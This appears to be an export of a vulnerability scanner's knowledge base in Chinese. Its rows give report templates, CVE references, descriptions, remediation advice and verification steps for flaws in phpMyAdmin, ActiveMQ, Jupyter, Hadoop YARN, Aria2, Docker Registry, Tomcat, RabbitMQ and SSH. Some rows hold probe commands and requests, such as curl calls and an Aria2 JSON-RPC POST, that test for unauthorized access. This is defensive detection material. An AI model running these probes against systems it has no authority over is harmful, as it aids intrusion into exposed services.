检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 55057 | t | {CT-131732,CVE-2012-4219,CNNVD-201208-304,55057} | medium | 4.3 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | phpMyAdmin 3.5.2.1之前的3.5.x版本中的show_config_errors.php中存在漏洞。远程攻击者利用该漏洞获得敏感信息通过直接请求，揭示了安装路径错误信息，涉及缺少列入common.inc.php的库文件。 | CVE-2012-4219 | CVE-2012-4219: phpMyAdmin ‘show_config_errors.php’信息泄露漏洞 | http | 暂无 | f | 21/8/2012 16:00:00 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "5.13.3"}]}] | null | f | CT-21264 | CNNVD-201605-596 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-21264,CVE-2016-3088,CNVD-2016-03612,CNNVD-201605-596} | critical | 9.8 | CNVD-2016-03612 | 可能造成造成信息泄露，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache ActiveMQ是消息传输和集成模式提供程序。 | CVE-2016-3088 | CVE-2016-3088: Activemq PUT方法文件上传漏洞 | http | 暂无 | f | 1/6/2016 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[] | null | f | CT-157863 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157863} | critical | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Jupyter Notebook 未授权访问指的是由于配置不当，没有为 Jupyter Notebook 设置访问密码，任意用户都能在未授权的情况下通过浏览器连接到 Notebook 服务器，在系统中创建一个 console 并执行任意 python 代码和命令。攻击者利用该漏洞可以在 Notebook 服务器上执行任意命令，获取、修改、删除系统中的敏感数据，甚至通过提权控制服务器，危害较大。 | null | 执行以下 Linux 命令：
```
curl http://{{ detail.addr }} -H 'Sec-WebSocket-Version: 13' -H 'Sec-WebSocket-Key: WpGU0Si9WSfjY44+EfGxSw==' -H 'Connection: keep-alive, Upgrade' -H 'Upgrade: websocket' -i
```
如果服务器返回 HTTP 101，则说明存在该漏洞。 | Jupyter Notebook 未授权访问漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157873 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157873} | critical | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Hadoop YARN resourcemanager 未授权访问漏洞指的是由于 YARN 提供有默认开放在 8088 和 8090 的 REST API（默认前者），允许用户直接通过 API 进行相关的应用创建、任务提交执行等操作，如果配置不当，REST API 将会开放在公网导致未授权访问。利用该漏洞攻击者无需认证即可通过 REST API 部署任务来执行任意指令，最终通过系统提权完全控制服务器，会产生严重的危害。 | null | 通过浏览器访问如下地址：
```
{{ detail.addr }}
```
路径设置为 `/ws/v1/cluster/apps/new-application`，查看是否可以获取信息，如果可以获取，则说明存在该漏洞。 | Hadoop YARN resourcemanager 未授权访问漏洞 | http | 暂无 | f | 11/3/2021 08:08:55 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157876 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157876} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Aria2 RPC 未授权访问指的是由于 Aria2 RPC 选项配置不当，没有开启 rpc-secret 选项或 rpc-secret 采用了默认值，导致 RPC 授权令牌功能形同虚设，用户可以直接远程调用管理接口对 Aria2 进行操作。利用 Aria2 RPC 未授权访问漏洞攻击者可以恶意添加或删除下载项、修改 Aria2 中的敏感配置文件，并结合 SSRF、Arbitrary File Write 等 Web 攻击手法，获取服务器权限甚至通过提权控制服务器，危害较大。 | null | 通过 Burp Suite 发送如下请求：
```
POST /jsonrpc HTTP/1.1
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Host: {{ detail.addr }}
User-Agent: Python/3.6 aiohttp/3.1.3
Content-Length: 150
{"jsonrpc": "2.0", "params": [], "id": ["8", "d", "W", "6", "R", "o", "u", "A", "C", "x", "f", "s", "l", "f", "l", "8"], "method": "aria2.tellActive"}
```
如果请求返回结果中存在` "id":["8", "d", "W", "6", "R", "o", "u", "A", "C", "x", "f", "s", "l", "f", "l", "8"]`，则说明存在该漏洞。 | Aria2 未授权访问漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-638570 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638570} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | RabbitMQ 弱口令漏洞指用于登录 RabbitMQ 代理服务器的用户口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被攻击者爆破进行非法访问。攻击者利用 RabbitMQ 弱口令漏洞直接登录 RabbitMQ 服务器，查看服务器上的信息，修改服务器配置，造成敏感数据泄露甚至控制服务器，危害较大。 | null | 输入用户名/密码如果登录成功，表示存在 RabbitMQ 未授权访问漏洞。 | RabbitMQ 弱口令漏洞 | amqp | 暂无 | f | 11/3/2021 08:09:09 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-157885 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157885} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Docker Registry 未授权访问指的是由于 Docker Registry 私有仓库搭建以后默认其他所有客户端均可以 push、pull 镜像， 如果不设置用户认证方法来对 Docker 仓库进行权限保护，对 Docker Registry 中的数据安全造成隐患。该漏洞会导致 Docker 服务器的数据被泄漏、篡改和删除，配置文件被修改，甚至通过提权来控制服务器，危害十分严重。 | null | 使用如下命令：
```
curl -XGET {{ detail.addr }}/v2/_catalog
```
查看仓库镜像，如成功获取到仓库信息，则说明该漏洞存在。 | Docker Registry 未授权访问漏洞 | http | 暂无 | f | 11/3/2021 08:09:11 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157892 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157892} | medium | 0 | null | 通过专业的安全评估，如果被攻击者利用，可能会被getshell,泄漏服务器敏感信息 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Tomcat 不安全配置指的是默认情况下，Tomcat 源码包 Web 根目录下包含 servlets-examples 和 tomcat-docs 目录，可以通过 Web 路径 `/examples/` 访问到，里面包含了许多开发样例，其中的 session 样例允许用户对服务端 session 进行操纵。因为 session 是全局通用的，这样恶意用户可以使用 session 样例通过操纵 session 以获取管理员权限，给服务器的数据安全造成很大的危害。 | null | 通过浏览器访问如下站点：
```
{{ detail.addr }}
```
查看是否存在 `/examples/servlets/servlet/SessionExample` 路径,如果存在且可操纵 session 的样例表单，则说明存在该漏洞。 | Apache Tomcat 不安全的配置漏洞 | http | 暂无 | f | 15/3/2021 10:27:10 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
[] | null | f | CT-639122 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-639122} | critical | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | SSH 弱口令指使用 SSH 的用户系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被黑客攻击而造成非授权访问、操作资源等入侵行为。利用 SSH 弱口令漏洞可直接远程登录服务器，获取或删除服务器资源，上传恶意文件，更改主机配置和权限，危害很大。 | null | 通过以下命令，并使用详情中的弱口令进行登录，登录成功后即可远程执行系统命令。 | SSH 弱口令漏洞 | ssh | 暂无 | f | 15/3/2021 10:27:12 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:caucho_technology:resin:3.0.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:caucho_technology:resin:3.0.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-55628 | CNNVD-200605-322 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-55628,CVE-2006-2437,CNNVD-200605-322} | low | 4.3 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
